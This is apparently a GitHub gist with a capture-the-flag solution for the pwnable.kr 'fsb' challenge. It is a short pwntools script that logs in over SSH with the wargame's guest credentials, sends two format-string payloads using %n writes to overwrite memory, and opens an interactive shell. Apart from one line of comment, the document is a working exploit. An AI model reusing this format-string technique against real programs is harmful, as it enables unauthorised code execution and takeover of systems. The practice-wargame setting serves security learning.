Skip to content

Instantly share code, notes, and snippets.

@parksjin01
Created December 12, 2016 05:41
Show Gist options
  • Select an option

  • Save parksjin01/d23677d393fbc9dd2eeae95884dfdfc0 to your computer and use it in GitHub Desktop.

Select an option

Save parksjin01/d23677d393fbc9dd2eeae95884dfdfc0 to your computer and use it in GitHub Desktop.
pwnable.kr fsb writeup
from pwn import *
sh = ssh(host='pwnable.kr', user='fsb', password='guest', port=2222)
proc = sh.process('/home/fsb/fsb')
proc.recv(1024)
proc.sendline('1')
proc.recvuntil('\n')
proc.sendline('1')
proc.recvuntil('\n')
proc.sendline('%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%134520720c%n')
proc.recvuntil('\n')
proc.sendline('%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%134514155c%n')
proc.recvuntil('\n')
proc.interactive()

I'll modify it soon

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment